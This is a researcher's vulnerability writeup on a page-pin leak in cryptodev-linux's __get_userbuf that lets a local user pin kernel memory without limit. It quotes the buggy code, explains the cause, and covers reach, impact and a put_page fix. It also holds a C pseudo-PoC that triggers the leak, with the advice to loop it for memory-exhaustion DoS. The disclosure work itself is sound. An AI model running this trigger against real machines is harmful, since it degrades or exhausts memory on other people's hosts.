cryptodev-linux __get_userbuf partial-pin leak
this is a companion to my post on
nasm.re's January 2026 cryptodev disclosure. once i'd convinced myself the
published UAF chain doesn't land on distro kernels, i swept the rest of
cryptodev-linux for the same refcount-handling shape. the disclosed
bug at zc.c:234 wasn't the only loose end. there's a different
pin-leak in the same file at zc.c:97 - different shape, different
primitive. any user with O_RDWR on /dev/crypto can hit
it, and it's unfixed at upstream HEAD as of 2026-05-06.
i've submitted it upstream and i'm requesting a CVE via Mitre. i'll add the ID once it's assigned.
the bug
cryptodev-linux/zc.c:55-99, __get_userbuf():
int __get_userbuf(uint8_t __user *addr, uint32_t len, int write,
unsigned int pgcount, struct page **pg, struct scatterlist *sg,
struct task_struct *task, struct mm_struct *mm)
{
int ret, pglen, i = 0;
struct scatterlist *sgp;
if (unlikely(!pgcount || !len || !addr)) {
sg_mark_end(sg);
return 0;
}
mmap_read_lock(mm);
#if (LINUX_VERSION_CODE < KERNEL_VERSION(6, 5, 0))
ret = get_user_pages_remote(mm, (unsigned long)addr, pgcount,
write ? FOLL_WRITE : 0, pg, NULL, NULL);
#else
ret = get_user_pages_remote(mm, (unsigned long)addr, pgcount,
write ? FOLL_WRITE : 0, pg, NULL);
#endif
mmap_read_unlock(mm);
if (ret != pgcount)
return -EINVAL; // <-- BUG: leaks pins for `ret` pages on partial success
sg_init_table(sg, pgcount);
...
}
get_user_pages_remote() can return a value in the range
0 < ret < pgcount. that means the kernel pinned ret pages and
stored their struct page * pointers at pg[0..ret], each with
its refcount bumped by 1.
the branch above sees ret != pgcount and bails with
-EINVAL on the spot, without releasing the pins it just
took. those pages stay pinned (refcount +1, no matching put_page)
until the host process exits. i almost missed it because the failure path looks
like a clean early return.
two things on the upstream side keep this reachable and not just theoretical:
- the caller can't compensate. the two functions that drive
__get_userbufarezc.c:get_userbuf()andauthenc.c:get_userbuf_tls(), and both setses->used_pagesto the requested page count before the call. they never walk that back down toreton the partial-success path, because they never seeret- the function handed them a flat-EINVAL. so if some later op callsrelease_user_pages(ses)it walksses->pages[0..used_pages], butses->pagesonly holds the partial setpg[0..ret]. the entries pastretare whatever a prior call left there, NULL or stale, sorelease_user_pagesnever pairs with theretpartial pins. - RLIMIT_MEMLOCK doesn't cover GUP-pinned pages. userspace can't rate-limit itself out of this. the leak grows with every triggering ioctl until the host process exits.
triggering the partial-success path
get_user_pages_remote returns 0 < ret < pgcount when:
- some pages in the range exist and are GUPable and others aren't (sparse mapping, MAP_NORESERVE region with some pages still un-faulted, protected pages rejected by FOLL_WRITE on a read-only mapping, etc.).
- the walk hits a VMA boundary mid-range. anything that runs into a hole gives a clean partial return.
easiest way in is an mmap'd region followed by a smaller range that
isn't fully populated. pseudo-PoC:
// Reserve 1 MB of address space, fault in only the first 16 pages.
size_t total = 256 * 4096;
char *base = mmap(NULL, total, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < 16; i++) base[i * 4096] = 'A'; // fault in first 16
// Open /dev/crypto, set up an AES session.
int cfd = open("/dev/crypto", O_RDWR);
struct session_op sop = { .cipher = CRYPTO_AES_CBC, .keylen = 16, .key = key };
ioctl(cfd, CIOCGSESSION, &sop);
// CIOCCRYPT with src/dst spanning the not-fully-faulted range.
struct crypt_op cop = {
.ses = sop.ses, .len = total,
.src = base, .dst = base, .iv = iv, .op = COP_ENCRYPT,
};
ioctl(cfd, CIOCCRYPT, &cop); // returns -EINVAL; leaks ~16 page pins
each call leaks ~16 * 4 KiB = 64 KiB of pinned memory and 16 page-pin
counts. loop it tight. until the host process exits, those pages are
non-migratable and non-reclaimable.
reach and impact
any process with open(O_RDWR) on /dev/crypto can reach it.
the default device-node mode depends on the package:
- Debian/Ubuntu
cryptodev-dkms:0660 root:crypto. unprivileged users in thecryptogroup can open. - Arch AUR
cryptodev-dkms:0666 root:root. world-rw, anyone can open. - manual
insmodfrom source:0666 root:root. - embedded distros (OpenWRT, Yocto, Buildroot) shipping cryptodev for
hardware crypto offload: usually
0660with a service-account group, but it varies.
impact:
- memory-exhaustion DoS: every triggering call pulls some 4 KiB pages out of the migratable pool. cumulative.
- memory hotplug / NUMA balance interference: pinned pages can't migrate. on anything that leans on that (cloud hypervisors, dynamic-rebalance servers) it drags performance down well before you ever hit the OOM threshold.
- beats
RLIMIT_MEMLOCKfrom the user side, since this never gets accounted as locked memory.
severity is low to medium. on its own it's not a memory-corruption or
privilege-escalation primitive. CVSS is
roughly AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H, about 5.5 / Medium
for the local-low-privilege DoS shape. it could land worse if the device-node
ACL is world-rw on a given distribution.
the fix
the standard pattern when get_user_pages* can come back short. either
release on partial:
if (ret > 0 && ret < pgcount) {
for (i = 0; i < ret; i++)
put_page(pg[i]);
return -EINVAL;
}
or unpin_user_pages if the caller used FOLL_PIN via
pin_user_pages*. cryptodev still rides the older
get_user_pages_remote API, so the manual put_page loop is
the right fit.
separate issue: the disclosed bug at zc.c:234, the one nasm.re
published in January, is a different shape - release walking stale
ses->pages on the dst-failure path - and its fix is independent of this one.
disclosure timeline
- 2026-05-06: found via static audit driven by kbug (our local kernel-bug scanner).
- 2026-05-06: this writeup, no embargo. the maintainers' own
FIXMEon the disclosed sibling at zc.c:234 has sat in tree for four years, so going public same-day creates no new risk. - pending: GitHub issue + Mitre CVE request. will update.
reproduction notes
- cryptodev-linux at upstream HEAD as of 2026-05-06;
git clone https://github.com/cryptodev-linux/cryptodev-linux, build withmake KERNEL_DIR=/lib/modules/$(uname -r)/build,insmod cryptodev.ko. - tested on Ubuntu 26.04 LTS Resolute (kernel 7.0.0-15-generic) and Ubuntu 22.04 LTS Jammy (kernel 5.15.0-176-generic).
- pin growth shows up in
cat /proc/meminfo | grep Pinnedwhere available, or watchvmstat -s | grep pinnedon systems built withCONFIG_VM_EVENT_COUNTERS=y.
. _SiCk · afflicted.sh